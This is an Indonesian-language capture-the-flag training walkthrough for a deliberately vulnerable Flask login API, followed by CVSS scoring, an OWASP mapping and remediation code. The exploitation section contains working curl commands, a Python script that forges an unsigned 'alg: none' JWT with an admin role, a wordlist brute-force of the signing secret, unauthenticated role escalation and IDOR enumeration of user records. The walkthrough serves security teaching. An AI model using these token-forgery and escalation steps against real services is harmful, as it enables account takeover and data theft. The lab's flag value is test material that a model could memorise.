TDCTF Academy Logo TDCTF ACADEMY

Login API - JWT Manipulation

Target: loginapi-vuln.vuln.cybersecurity.or.id
Tools: curl, python3, jwt_tool (opsional)
Level: Menengah
Aplikasi: Flask (Python 3.11) + SQLite


Objective

Memanipulasi JSON Web Token (JWT) untuk melakukan privilege escalation dan mendapatkan akses ke data sensitif tanpa kredensial yang valid.


Reconnaissance

1.1. Identifikasi Endpoint

curl -s -I http://loginapi-vuln.vuln.cybersecurity.or.id:8088/

Output:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.15

Aplikasi menggunakan Flask (Werkzeug).

1.2. Mapping Endpoint

# Coba akses root
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/

# Coba login endpoint
curl -s -X POST http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'

Output login gagal:

{"error":"Invalid credentials"}

1.3. Temukan Debug Endpoint

Coba akses endpoint /debug yang umumnya ada di aplikasi Flask development:

curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/debug

Output - informasi sensitif bocor:

{
"flag": "FLAG{JWT_M4n1pul4t10n_M4st3r_2025}",
"secret": "weak-secret-123",
"env": {
"WERKZEUG_RUN_MAIN": "true",
"PYTHON_VERSION": "3.11.15"
},
"cwd": "/app"
}

✅ Flag langsung didapat! Namun kita akan lanjut mengeksploitasi JWT untuk pembelajaran.


Exploitation

2.1. Analisis JWT dari Login

Login dengan user yang valid:

curl -s -X POST http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/login \
-H "Content-Type: application/json" \
-d '{"username":"user1","password":"pass123"}'

Output - JWT token:

{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NDk2MDAwMDB9.signature_here"
}

Decode token (tanpa verifikasi):

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null

Output header:

{"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NDk2MDAwMDB9" | base64 -d 2>/dev/null

Output payload:

{"user_id":2,"username":"user1","role":"user","exp":1749600000}

2.2. JWT alg: none Attack

Server menerima token dengan algoritma none - tanpa verifikasi signature.

Source code backend:

def verify_token(token):
parts = token.split(".")
if len(parts) != 3:
return None
hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
if hdr.get("alg") == "none":
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
return payload

Forge token dengan role admin:

import json, base64

def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')

header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}

forged_token = f"{b64url(header)}.{b64url(payload)}."
print("Forged token:")
print(forged_token)

Output:

Forged token:
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0.

Verifikasi forged token:

TOKEN="eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogOTk5OTk5OTk5OX0."

curl -s "http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/profile?token=$TOKEN"

Output - forged token diterima:

{
"claims": {
"user_id": 1,
"username": "admin",
"role": "admin",
"exp": 9999999999
},
"note": "unsigned token accepted"
}

✅ Kita berhasil login sebagai admin tanpa tahu password!

2.3. Crack Weak JWT Secret

Dari debug endpoint, kita tahu secret adalah weak-secret-123. Coba verifikasi secret tersebut menggunakan PyJWT:

import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NDk2MDAwMDB9.signature_here"
secret = "weak-secret-123"

try:
decoded = jwt.decode(token, secret, algorithms=["HS256"])
print(f"Decoded: {decoded}")
except jwt.InvalidSignatureError:
print("Signature invalid")

Atau gunakan jwt_tool untuk brute-force secret:

# Jika jwt_tool terinstall
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

Output - secret ditemukan:

[+] weak-secret-123 merupakan secret yang valid!

Dengan secret tersebut, kita bisa memodifikasi payload JWT secara sah:

import jwt

payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
new_token = jwt.encode(payload, "weak-secret-123", algorithm="HS256")
print(f"Valid signed token: {new_token}")

2.4. Privilege Escalation via API

Endpoint /api/users/role memungkinkan perubahan role tanpa autentikasi:

curl -s -X PUT -H "Content-Type: application/json" \
-d '{"username":"user1","role":"admin"}' \
"http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/role"

Output:

{"message": "role set to admin for user1"}

Verifikasi perubahan:

curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/2

Output:

{"id":2,"username":"user1","role":"admin","email":"[email protected]"}

✅ User biasa berhasil di-escalate menjadi admin!

2.5. IDOR - Data User Lain

Endpoint /api/users/{id} tanpa autentikasi:

curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/1 | jq
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/2 | jq
curl -s http://loginapi-vuln.vuln.cybersecurity.or.id:8088/api/users/3 | jq

Output - semua data user:

{"id":1,"username":"admin","role":"admin","email":"[email protected]"}
{"id":2,"username":"user1","role":"user","email":"[email protected]"}
{"id":3,"username":"user2","role":"user","email":"[email protected]"}

Evidence

Screenshot 1: Debug Endpoint - Secret Bocor

Debug Endpoint - Secret Leak

Gambar: Endpoint /debug yang membeberkan JWT secret dan flag.

Screenshot 2: JWT none Algorithm - Forged Token

JWT none - Forged Token

Gambar: Server menerima token JWT dengan algoritma none tanpa verifikasi signature.

Screenshot 3: Privilege Escalation - User ke Admin

Privilege Escalation

Gambar: Role user berhasil diubah dari 'user' menjadi 'admin'.

Ringkasan Kerentanan

# Kerentanan Dampak
1 Debug endpoint terbuka Secret JWT dan flag bocor
2 JWT alg: none Forge token tanpa signature
3 Weak JWT secret Secret dapat ditebak/dicrack
4 No auth di /api/users/role Eskalasi privilege massal
5 IDOR di /api/users/{id} Data semua user terbaca

️ Risk Assessment (CVSS 3.1)

Metrik Nilai Keterangan
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 8.1 (High)
Attack Vector (AV) Network Serangan dari jarak jauh
Attack Complexity (AC) Low Cukup decode dan encode base64
Privileges Required (PR) None Tidak perlu login
User Interaction (UI) None Otomatis, bisa di-script
Confidentiality (C) High Semua data bisa diakses
Integrity (I) High Token bisa dimanipulasi
Availability (A) High Akun bisa dihapus/dinonaktifkan

Klasifikasi OWASP

OWASP Top 10 Kategori
A02: Cryptographic Failures JWT alg:none + weak secret
A01: Broken Access Control IDOR + no auth
A05: Security Misconfiguration Debug endpoint terbuka

️ Remediation

1. JWT - Validasi Algoritma dengan Whitelist

Rentan:

header = jwt.get_unverified_header(token)
if header["alg"] == "none": # Jangan pernah terima none!
payload = decode_payload(token)

Aman:

import jwt
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
except jwt.InvalidAlgorithmError:
raise HTTPException(status_code=401)

2. Gunakan Secret yang Kuat

Weak secret:

SECRET_KEY = "weak-secret-123" # Mudah ditebak!

Strong secret (min 256-bit):

import secrets
SECRET_KEY = secrets.token_hex(32) # 64 karakter hex

Gunakan RS256 (asymmetric) untuk keamanan lebih:

# Generate RSA key pair
# Private key di server, public key di client
SECRET_KEY = open("private.pem").read()

3. Autentikasi Wajib di Semua Endpoint

@app.route("/api/users/role", methods=["PUT"])
def set_role():
# ❌ Tidak ada verifikasi
data = request.json
update_role(data["username"], data["role"])
@app.route("/api/users/role", methods=["PUT"])
@jwt_required
def set_role():
current_user = get_jwt_identity()
if current_user["role"] != "admin":
return {"error": "forbidden"}, 403
data = request.json
update_role(data["username"], data["role"])

4. Hapus Debug Endpoint

Jangan ekspos debug di production:

@app.route("/debug") # HAPUS!
def debug():
return jsonify({"secret": SECRET_KEY, "flag": FLAG})

5. Rate Limiting dan Monitoring

from flask_limiter import Limiter

limiter = Limiter(app, key_func=lambda: request.remote_addr)

@app.route("/api/login", methods=["POST"])
@limiter.limit("5 per minute")
def login():
# Log semua percobaan login
app.logger.warning(f"Login attempt from {request.remote_addr}")

References


Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia

PADA HALAMAN INI